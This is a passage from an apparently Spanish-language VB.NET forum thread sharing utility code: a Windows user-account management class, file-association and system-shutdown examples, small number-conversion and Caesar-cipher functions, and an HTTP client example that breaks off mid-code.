' UserAccountUtil.IsMemberOfGroup(String, WellKnownSidType) As Boolean
#End Region
#Region " Methods "
' UserAccountUtil.Add(String, String, String, String, Boolean, Boolean, WellKnownSidType)
' UserAccountUtil.Add(UserPrincipal, WellKnownSidType)
' UserAccountUtil.Delete(String)
#End Region
#End Region
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports System
Imports System.Collections.Generic
Imports System.DirectoryServices.AccountManagement
Imports System.Linq
Imports System.Security.Principal
#End Region
''' <summary>
''' Contains related Windows user-account utilities.
''' </summary>
Public NotInheritable Class UserAccountUtil
#Region " Properties "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets an <see cref="UserPrincipal"/> object that represents the current user.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' An <see cref="UserPrincipal"/> object that represents the current user.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Shared ReadOnly Property CurrentUser As UserPrincipal
Get
If UserAccountUtil.currentUserB Is Nothing Then
UserAccountUtil.currentUserB = UserAccountUtil.FindUser(Environment.UserName)
End If
Return UserAccountUtil.currentUserB
End Get
End Property
''' <summary>
''' (Backing Field)
''' Gets an <see cref="UserPrincipal"/> object that represents the current user.
''' </summary>
Private Shared currentUserB As UserPrincipal
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a value that indicates whether the current user has Administrator privileges.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' A value that indicates whether the current user has Administrator privileges.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Shared ReadOnly Property CurrentUserIsAdmin As Boolean
Get
Using group As GroupPrincipal =
GroupPrincipal.FindByIdentity(CurrentUser.Context,
IdentityType.Sid,
New SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, Nothing).Value)
Return UserAccountUtil.CurrentUser.IsMemberOf(group)
End Using
End Get
End Property
#End Region
#Region " Constructors "
''' <summary>
''' Prevents a default instance of the <see cref="UserAccountUtil"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#End Region
#Region " Public Methods "
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Get all user-accounts.
''' Author: Elektro
''' Date : 20-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' Dim users As List(Of UserPrincipal) = UserAccountUtil.GetAllUsers()
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Find and returns all the user accounts of the current machine context.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' A <see cref="List(Of UserPrincipal)"/> collection that contains the users.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetAllUsers() As List(Of UserPrincipal)
Dim context As New PrincipalContext(ContextType.Machine)
Using user As New UserPrincipal(context)
Using searcher As New PrincipalSearcher(user)
Return searcher.FindAll.Cast(Of UserPrincipal).ToList
End Using ' searcher
End Using ' user
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Find user-account by name.
''' Author: Elektro
''' Date : 19-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' Dim user As UserPrincipal = UserAccountUtil.FindUser(username:="Administrator")
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Finds an user account that matches the specified name in the current machine context.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The user name to find.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' An <see cref="UserPrincipal"/> object that contains the user data.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="ArgumentException">
''' User not found.;username
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function FindUser(ByVal username As String) As UserPrincipal
Dim context As New PrincipalContext(ContextType.Machine)
Using user As New UserPrincipal(context)
Using searcher As New PrincipalSearcher(user)
Try
Return (From p As Principal In searcher.FindAll
Where p.Name.Equals(username, StringComparison.OrdinalIgnoreCase)).
Cast(Of UserPrincipal).
First
Catch ex As InvalidOperationException
Throw New ArgumentException(message:="User not found.", paramName:="username", innerException:=ex)
End Try
End Using ' searcher
End Using ' user
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Find user-account by SID.
''' Author: Elektro
''' Date : 19-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' Dim user As UserPrincipal = UserAccountUtil.FindUser(sid:=New SecurityIdentifier("S-1-5-21-1780771175-1208154119-2269826705-500"))
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Finds an user account that matches the specified security identifier (SID) in the current machine context.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sid">
''' A <see cref="SecurityIdentifier"/> (SID) object.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' An <see cref="UserPrincipal"/> object that contains the user data.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function FindUser(ByVal sid As SecurityIdentifier) As UserPrincipal
Dim context As New PrincipalContext(ContextType.Machine)
Using user As New UserPrincipal(context)
Using searcher As New PrincipalSearcher(user)
Try
Return (From p As Principal In searcher.FindAll
Where p.Sid.Value.Equals(sid.Value, StringComparison.OrdinalIgnoreCase)).
Cast(Of UserPrincipal).
First
Catch ex As InvalidOperationException
Throw New ArgumentException(message:="User not found.", paramName:="username", innerException:=ex)
End Try
End Using ' searcher
End Using ' user
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Find user-account name by SID.
''' Author: Elektro
''' Date : 19-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' Dim username As String = UserAccountUtil.FindUsername(sid:=New SecurityIdentifier("S-1-5-21-1780771175-1208154119-2269826705-500"))
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Finds the username of the specified security identifier (SID) in the current machine context.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sid">
''' A <see cref="SecurityIdentifier"/> (SID) object.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The username.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function FindUsername(ByVal sid As SecurityIdentifier) As String
Using user As UserPrincipal = UserAccountUtil.FindUser(sid)
Return user.Name
End Using
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Find user-account SID by username.
''' Author: Elektro
''' Date : 19-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' Dim sid As SecurityIdentifier = UserAccountUtil.FindSid(username:="Administrator"))
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Finds the security identifier (SID) of the specified username account in the current machine context.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The user name.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' A <see cref="SecurityIdentifier"/> (SID) object.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function FindSid(ByVal username As String) As SecurityIdentifier
Return UserAccountUtil.FindUser(username).Sid
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Find user-account's profile path by username.
''' Author: Elektro
''' Date : 19-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' Dim profilePath As String = UserAccountUtil.FindProfilePath(username:="Administrator"))
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Finds the profile directory path of the specified username account in the current machine context.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The user name to find.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The profile directory path.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function FindProfilePath(ByVal userName As String) As String
Using user As UserPrincipal = UserAccountUtil.FindUser(userName)
Return CStr(My.Computer.Registry.GetValue(String.Format("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\{0}",
user.Sid.Value),
"ProfileImagePath", ""))
End Using
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Find user-account's profile path by SID.
''' Author: Elektro
''' Date : 19-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' Dim profilePath As String = UserAccountUtil.FindProfilePath(sid:=New SecurityIdentifier("S-1-5-21-1780771175-1208154119-2269826705-500"))
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Finds the profile directory path of the specified username account in the current machine context.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sid">
''' A <see cref="SecurityIdentifier"/> (SID) object.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The profile directory path.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function FindProfilePath(ByVal sid As SecurityIdentifier) As String
Using user As UserPrincipal = UserAccountUtil.FindUser(sid)
Return CStr(My.Computer.Registry.GetValue(String.Format("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\{0}",
user.Sid.Value),
"ProfileImagePath", ""))
End Using
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : User is Admin?.
''' Author: Elektro
''' Date : 19-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' Dim userIsAdmin As Boolean = UserAccountUtil.IsAdmin(username:="Administrator")
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines whether an user-account of the current machine context is an Administrator.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The user name.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <c>True</c> if the user is an Administrator, otherwise, <c>False</c>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function IsAdmin(ByVal username As String) As Boolean
Using user As UserPrincipal = UserAccountUtil.FindUser(username)
Using group As GroupPrincipal = GroupPrincipal.FindByIdentity(user.Context, IdentityType.Sid, New SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, Nothing).Value)
Return user.IsMemberOf(group)
End Using ' group
End Using ' user
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : User is member of group...?.
''' Author: Elektro
''' Date : 19-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' Dim userIsGuest As Boolean = UserAccountUtil.IsMemberOfGroup(username:="Administrator", groupSid:=WellKnownSidType.BuiltinGuestsSid)
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines whether an user-account of the current machine context is a member of the specified group.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The user name.
''' </param>
'''
''' <param name="groupSid">
''' A <see cref="WellKnownSidType"/> security identifier (SID) that determines the account group.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <c>True</c> if the user is a member of the specified group, otherwise, <c>False</c>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function IsMemberOfGroup(ByVal username As String,
ByVal groupSid As WellKnownSidType) As Boolean
Using user As UserPrincipal = UserAccountUtil.FindUser(username)
Using group As GroupPrincipal = GroupPrincipal.FindByIdentity(user.Context, IdentityType.Sid, New SecurityIdentifier(groupSid, Nothing).Value)
Return user.IsMemberOf(group)
End Using ' group
End Using ' user
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : User is member of group...?.
''' Author: Elektro
''' Date : 19-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' Dim userIsGuest As Boolean = UserAccountUtil.IsMemberOfGroup(username:="Administrator", groupname:="Guests")
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines whether an user-account of the current machine context is a member of the specified group.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The user name.
''' </param>
'''
''' <param name="groupname">
''' The name of thehe group.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <c>True</c> if the user is a member of the specified group, otherwise, <c>False</c>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function IsMemberOfGroup(ByVal username As String,
ByVal groupname As String) As Boolean
Using user As UserPrincipal = UserAccountUtil.FindUser(username)
Using group As GroupPrincipal = GroupPrincipal.FindByIdentity(user.Context, IdentityType.Name, groupname)
Return user.IsMemberOf(group)
End Using ' group
End Using ' user
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Create user-account.
''' Author: Elektro
''' Date : 19-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' Dim user as UserPrincipal = UserAccountUtil.Create(username:="Elektro",
''' password:="",
''' displayName:="Elektro Account.",
''' description:="This is a test user-account.",
''' canChangePwd:=True,
''' pwdExpires:=False,
''' groupSid:=WellKnownSidType.BuiltinAdministratorsSid)
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a new user account in the current machine context.
''' This function does NOT adds a new user in the current machine.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The user name.
''' </param>
'''
''' <param name="password">
''' The user password.
''' If this value is empty, account is set to don't require any password.
''' </param>
'''
''' <param name="displayName">
''' The display name of the user account.
''' </param>
'''
''' <param name="description">
''' The description of the user account.
''' </param>
'''
''' <param name="canChangePwd">
''' A value that indicates whether the user can change its password.
''' </param>
'''
''' <param name="pwdExpires">
''' A value that indicates whether the password should expire.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' An <see cref="UserPrincipal"/> object that contains the user data.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function Create(ByVal username As String,
ByVal password As String,
ByVal displayName As String,
ByVal description As String,
ByVal canChangePwd As Boolean,
ByVal pwdExpires As Boolean) As UserPrincipal
Using context As New PrincipalContext(ContextType.Machine)
Dim user As New UserPrincipal(context)
With user
.Name = username
.SetPassword(password)
.PasswordNotRequired = String.IsNullOrEmpty(password)
.DisplayName = displayName
.Description = description
.UserCannotChangePassword = canChangePwd
.PasswordNeverExpires = pwdExpires
.Enabled = True
.Save()
End With
Return user
End Using
End Function
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Add user-account.
''' Author: Elektro
''' Date : 19-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' UserAccountUtil.Add(username:="Elektro",
''' password:="",
''' displayName:="Elektro Account.",
''' description:="This is a test user-account.",
''' canChangePwd:=True,
''' pwdExpires:=False,
''' groupSid:=WellKnownSidType.BuiltinAdministratorsSid)
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Adds a new user account in the current machine context.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The user name.
''' </param>
'''
''' <param name="password">
''' The user password.
''' If this value is empty, account is set to don't require any password.
''' </param>
'''
''' <param name="displayName">
''' The display name of the user account.
''' </param>
'''
''' <param name="description">
''' The description of the user account.
''' </param>
'''
''' <param name="canChangePwd">
''' A value that indicates whether the user can change its password.
''' </param>
'''
''' <param name="pwdExpires">
''' A value that indicates whether the password should expire.
''' </param>
'''
''' <param name="groupSid">
''' A <see cref="WellKnownSidType"/> security identifier (SID) that determines the account group where to add the user.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub Add(ByVal username As String,
ByVal password As String,
ByVal displayName As String,
ByVal description As String,
ByVal canChangePwd As Boolean,
ByVal pwdExpires As Boolean,
Optional ByVal groupSid As WellKnownSidType = WellKnownSidType.BuiltinUsersSid)
Using context As New PrincipalContext(ContextType.Machine)
Using user As UserPrincipal = UserAccountUtil.Create(username, password, displayName, description, canChangePwd, pwdExpires)
Using group As GroupPrincipal = GroupPrincipal.FindByIdentity(context, IdentityType.Sid, New SecurityIdentifier(groupSid, Nothing).Value)
group.Members.Add(user)
group.Save()
End Using ' group
End Using ' user
End Using ' context
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Add user-account.
''' Author: Elektro
''' Date : 19-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' UserAccountUtil.Add(user:=myUserPrincipal, groupSid:=WellKnownSidType.BuiltinAdministratorsSid)
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Adds a new user account in the current machine context.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="user">
''' An <see cref="UserPrincipal"/> object that contains the user data.
''' </param>
'''
''' <param name="groupSid">
''' A <see cref="WellKnownSidType"/> security identifier (SID) that determines the account group where to add the user.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub Add(ByVal user As UserPrincipal,
Optional ByVal groupSid As WellKnownSidType = WellKnownSidType.BuiltinUsersSid)
Using context As New PrincipalContext(ContextType.Machine)
Using group As GroupPrincipal = GroupPrincipal.FindByIdentity(context, IdentityType.Sid, New SecurityIdentifier(groupSid, Nothing).Value)
group.Members.Add(user)
group.Save()
End Using ' group
End Using ' context
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Title : Delete user-account.
''' Author: Elektro
''' Date : 19-June-2015
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example>
''' UserAccountUtil.Delete(username:="User name")
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Deletes an user account in the current machine context.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="username">
''' The user name of the user-account to delete.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <exception cref="ArgumentException">
''' User not found.;username
''' </exception>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Sub Delete(ByVal username As String)
Using curUser As UserPrincipal = UserAccountUtil.FindUser(username)
curUser.Delete()
End Using
End Sub
#End Region
End Class
Comparto esta class que sirve para registrar una extensión de archivo, o para obtener información de una extensión ya registrada en el sistema.
Si encuentran cualquier bug, hagan el favor de comunicármelo para arreglarlo en futuras versiones.
Diagrama de Class:
(http://i.imgur.com/GlDWNs9.png)
Ejemplos de uso:
FileAssocUtil.Register(regUser:=FileAssocUtil.RegistryUser.CurrentUser,
extensionName:=".elek",
keyReferenceName:="ElektroFile",
friendlyName:="Elektro File",
defaultIcon:="%WinDir%\System32\Shell32.ico",
iconIndex:=0,
executable:="%WinDir%\notepad.exe",
arguments:="""%1""")
Dim isRegistered As Boolean = FileAssocUtil.IsRegistered(".elek")
Dim feInfo As FileAssocUtil.FileExtensionInfo = FileAssocUtil.GetFileExtensionInfo(".wav")
Dim sb As New StringBuilder
With sb
.AppendLine(String.Format("FriendlyDocName: {0}", feInfo.FriendlyDocName))
.AppendLine(String.Format("ContentType: {0}", feInfo.ContentType))
.AppendLine(String.Format("DefaultIcon: {0}", feInfo.DefaultIcon))
.AppendLine("-----------------------------------------------------------")
.AppendLine(String.Format("FriendlyAppName: {0}", feInfo.FriendlyAppName))
.AppendLine(String.Format("Executable: {0}", feInfo.Executable))
.AppendLine(String.Format("Command: {0}", feInfo.Command))
.AppendLine("-----------------------------------------------------------")
.AppendLine(String.Format("DropTarget: {0}", feInfo.DropTarget))
.AppendLine(String.Format("InfoTip: {0}", feInfo.InfoTip))
.AppendLine(String.Format("No Open: {0}", feInfo.NoOpen))
.AppendLine(String.Format("Shell Extension: {0}", feInfo.ShellExtension))
.AppendLine(String.Format("Shell New Value: {0}", feInfo.ShellNewValue))
.AppendLine("-----------------------------------------------------------")
.AppendLine(String.Format("Supported URI Protocols: {0}", feInfo.SupportedUriProtocols))
.AppendLine(String.Format("DDE Application: {0}", feInfo.DdeApplication))
.AppendLine(String.Format("DDE Command: {0}", feInfo.DdeCommand))
.AppendLine(String.Format("DDE If Exec: {0}", feInfo.DdeIfExec))
.AppendLine(String.Format("DDE Topic: {0}", feInfo.DdeTopic))
End With
MsgBox(sb.ToString)
(http://i.imgur.com/IgR4XSr.png)
Código fuente:
http://pastebin.com/gXbp78Pv
http://pastebin.com/aAscfAev
Elektro:
no entro nunca a la sección net así que recién hoy veo el trabajo que llevas realizado(no todo porque es mucho para ver en una sola vez y no es que me encante la programación) así que FELICITACIONES!! y no lo tomes como un grito sino como lo que es, admiración. Vi un par de codes de decimales y hexadeciales pero no vi de binarios, claro que no tiene uso, salvo a quienes nos gusta la ingeniería inversa más que la programación en si, pero es un minúsculo granito de arena.
Para pasar enteros a binarios
Public Function DecaBin(numero As Integer) As String
If numero <= 2 Then 'Caso Base
DecaBin = (numero \ 2) & (numero Mod 2)
Else 'Caso Recursivo
DecaBin = DecaBin(numero \ 2) & numero Mod 2
End If
End Function
# ejemplo de uso
Textbox = DecaBin(numeromio)
@tincopasan
Antes de nada, Gracias por tu comentario ...ya hacia tiempo que nadie (más que yo) aportaba algo a este hilo, y que lo aporte alguien que no programa en .net (o eso me das a entender) tiene más mérito si cabe.
Pero debo hacer un pequeño apunte sobre el código (con la intención de que le sirva a alguien para aprender, o al menos eso deseo), mira, para convertir un entero a un string binario simplemente puedes recurrir a la utilización de la función Convert.ToString, a uno de sus overloads que toma cómo parametro la base.
Ejemplo:
Clipboard.SetText(Convert.ToString(123456789I, toBase:=2)) ' Resultado: 111010110111100110100010101
Esta opción está muy bien para simplificar el código, pero lo cierto es que tu metodología también es buena en el sentido de que enseña "la base" de cómo hacerlo utilizando la aritmética, a la antigua usanza, sin aprovecharse de estas funciones built-in de .Net que tanto nos facilitan la vida en una linea de código. Así cómo tú has mostrado se aprende mejor a resolver problemas, pero bueno, quería dejar constancia de la alternativa, la Class Convert es muy útil.
Saludos!
Gracias por mostrar la forma simple de hacerlo, efectivamente no soy programador de ningún lenguaje en particular, pero usando la forma básica y conociendo las sentencias más comunes, if, then, for, while, etc. por ejemplo y de forma muy bruta resuelvo problemas en varios lenguajes, porque más allá de la riqueza de cada uno de ellos todos tienen la forma básica de empezar.
Sigo revisando, son muchos! en la parte de criptografía vi un code que hace el cifrado de Cesar, obviamente lo haría más a lo bruto:
Dim Lista() As String = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "ñ", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}
Dim Adelante As Integer = 3 ' modificando este valor es cuantos lugares adelantamos para reemplazar
Dim Letra As Char
Dim x As Integer
Dim cifrada As String = ""
Private Sub Cesar(palabra As String)
For i = 1 To Len(palabra)
Letra = GetChar(palabra, i)
For x = 0 To 26
If Letra = Lista(x) Then
x = (x + Adelante) Mod 27
Letra = CChar(Lista(x))
cifrada = cifrada + Letra
Exit For
End If
Next
Next
MsgBox(cifrada)
End Sub
'forma de uso
Cesar("elhacker")
Una refactorización de una Class que ya compartí para apagar, reiniciar, o desloguear un equipo local o en red.
Diagrama de Class:
(http://i.imgur.com/8FawLBL.png)
Ejemplo de uso:
Sub Test()
' Restart the current computer in 30 seconds and wait for applications to close.
' Specify that the restart operation is planned because a consecuence of an installation.
Dim success As Boolean =
SystemRestarter.Restart("127.0.0.1", 30, "System is gonna be restarted quickly, go save all your data now...!",
SystemRestarter.ShutdownMode.Wait,
SystemRestarter.ShutdownReason.MajorOperatingSystem Or
SystemRestarter.ShutdownReason.MinorInstallation,
SystemRestarter.ShutdownPlanning.Planned)
Console.WriteLine(String.Format("Restart operation initiated successfully?: {0}", CStr(success)))
' Abort the current operation.
If success Then
Dim isAborted As Boolean = SystemRestarter.Abort()
Console.WriteLine(String.Format("Restart operation aborted successfully?: {0}", CStr(isAborted)))
Else
Console.WriteLine("There is any restart operation to abort.")
End If
Console.ReadKey()
' Shutdown the current computer instantlly and force applications to close.
' ( When timeout is '0' the operation can't be aborted )
SystemRestarter.Shutdown(Nothing, 0, Nothing, SystemRestarter.ShutdownMode.ForceSelf)
' LogOffs the current user.
SystemRestarter.LogOff(SystemRestarter.LogOffMode.Wait)
End SubCódigo fuente:
http://pastebin.com/FyH8U1iphttp://pastebin.com/3n9TbXB0 (corregido)
Fix:
El primer código no funcionaba, ya que al actualizar el código sin querer me equivoqué al escribir esto, lo dupliqué:
CitarPrivate Shared ReadOnly privilegeNameOfShutdown As String = "SeRemoteShutdownPrivilege"
Private Shared ReadOnly privilegeNameOfRemoteShutdown As String = "SeRemoteShutdownPrivilege"
Ya está corregido, resubido y testeado.
muchas veces he tenido que hacer aplicaciones como facturas y lo que siempre queda bien o piden es que el número se pase a letras, una funcíon vieja que hace eso, estoy seguro que Elektro lo hace más fácil pero igual acá va:
Public Function NunAText(ByVal value As Double) As String
Select Case value
Case 0 : NunAText = "CERO"
Case 1 : NunAText = "UN"
Case 2 : NunAText = "DOS"
Case 3 : NunAText = "TRES"
Case 4 : NunAText = "CUATRO"
Case 5 : NunAText = "CINCO"
Case 6 : NunAText = "SEIS"
Case 7 : NunAText = "SIETE"
Case 8 : NunAText = "OCHO"
Case 9 : NunAText = "NUEVE"
Case 10 : NunAText = "DIEZ"
Case 11 : NunAText = "ONCE"
Case 12 : NunAText = "DOCE"
Case 13 : NunAText = "TRECE"
Case 14 : NunAText = "CATORCE"
Case 15 : NunAText = "QUINCE"
Case Is < 20 : NunAText = "DIECI" & NunAText(value - 10)
Case 20 : NunAText = "VEINTE"
Case Is < 30 : NunAText = "VEINTI" & NunAText(value - 20)
Case 30 : NunAText = "TREINTA"
Case 40 : NunAText = "CUARENTA"
Case 50 : NunAText = "CINCUENTA"
Case 60 : NunAText = "SESENTA"
Case 70 : NunAText = "SETENTA"
Case 80 : NunAText = "OCHENTA"
Case 90 : NunAText = "NOVENTA"
Case Is < 100 : NunAText = NunAText(Int(value \ 10) * 10) & " Y " & NunAText(value Mod 10)
Case 100 : NunAText = "CIEN"
Case Is < 200 : NunAText = "CIENTO " & NunAText(value - 100)
Case 200, 300, 400, 600, 800 : NunAText = NunAText(Int(value \ 100)) & "CIENTOS"
Case 500 : NunAText = "QUINIENTOS"
Case 700 : NunAText = "SETECIENTOS"
Case 900 : NunAText = "NOVECIENTOS"
Case Is < 1000 : NunAText = NunAText(Int(value \ 100) * 100) & " " & NunAText(value Mod 100)
Case 1000 : NunAText = "MIL"
Case Is < 2000 : NunAText = "MIL " & NunAText(value Mod 1000)
Case Is < 1000000 : NunAText = NunAText(Int(value \ 1000)) & " MIL"
If value Mod 1000 Then NunAText = NunAText & " " & NunAText(value Mod 1000)
Case 1000000 : NunAText = "UN MILLON"
Case Is < 2000000 : NunAText = "UN MILLON " & NunAText(value Mod 1000000)
Case Is < 1000000000000.0# : NunAText = NunAText(Int(value / 1000000)) & " MILLONES "
If (value - Int(value / 1000000) * 1000000) Then NunAText = NunAText & " " & NunAText(value - Int(value / 1000000) * 1000000)
'Case 1000000000000.0# : NunAText = "UN BILLON"
'Case Is < 2000000000000.0# : NunAText = "UN BILLON " & NunAText(value - Int(value / 1000000000000.0#) * 1000000000000.0#)
'Case Else : NunAText = NunAText(Int(value / 1000000000000.0#)) & " BILLONES"
' If (value - Int(value / 1000000000000.0#) * 1000000000000.0#) Then NunAText = NunAText & " " & NunAText(value - Int(value / 1000000000000.0#) * 1000000000000.0#)
End Select
End Function
uso: NumAText(1897432)
Buenas queria preguntas si en este hilo solo se puede publicar codigo de vb y c# o tambien se puede de otro lenguajes
Ya que me he dado la tarea de traducir parte del codigo aqui ya publicado y otro mio en el lenguaje Delphi o mejor lo pongo en otro post?
Cita de: crack81 en 5 Julio 2015, 04:28 AM
Buenas queria preguntas si en este hilo solo se puede publicar codigo de vb y c# o tambien se puede de otro lenguajes
Ya que me he dado la tarea de traducir parte del codigo aqui ya publicado y otro mio en el lenguaje Delphi o mejor lo pongo en otro post?
Este hilo es para publicar códigos de VisualBasic.Net, aunque .Net no es solamente VB.Net y C#, pero Delphi no forma parte de .Net, lo mejor será que crees un post en la sección de programación general.
Saludos!
Me gustaria probar esos snippets pero el enlace no funciona.
Ya lo consegui de otro enlace.
@josnan
Se me olvidó responder a la petición que hiciste, la leí el otro día pero se me pasó contestarte, lo siento.
actualmente los snippets los estoy "reconstruyendo", refactorizando, reordenando, actualizándolos, etc, prefiero no publicarlos todavía, pero te los pasaré en breve por privado.
Gracias por tu interés, y perdona el pequeño olvido.
Saludos
Gracias, se aprende mucho con estos ejemplos.
Despues de un tiempo sin actualizar, volvemos a la carga con un par de snippets.
Ejemplo de uso de la librería CodeScales:
http://www.codescales.com/
Es un simple, muy simple cliente http que encapsula el código/miembros necesarios de la librería de classes de .Net para realizar peticiones Post con MultiPart, y otras, de forma muy sencilla:
' *********************
' Get Method
' http://www.google.com
' *********************
'
' Dim client As New HttpClient
' Dim getMethod As New HttpGet(New Uri("http://www.google.com/search"))
'
' With getMethod
' .Parameters.Add("q", "Hello")
' .Parameters.Add("lr", "lang_en")
' End With
'
' Dim response As HttpResponse = client.Execute(getMethod)
' Dim text As String = EntityUtils.ToString(response.Entity)
' **************************
' Post Method with MultiPart
' http://9kw.eu/
' **************************
'
' Dim apiKey As String = "XXXXXXXXXXXX"
' Dim filepath As String = "C:\File.png"
'
' Dim client As New HttpClient
' Dim postMethod As New HttpPost(New Uri("http://www.9kw.eu/index.cgi"))
'
' Dim multipartEntity As New MultipartEntity
' postMethod.Entity = multipartEntity
'
' With multipartEntity
' .AddBody(New StringBody(Encoding.UTF8, "apikey", apiKey))
' .AddBody(New StringBody(Encoding.UTF8, "action", "usercaptchaupload"))
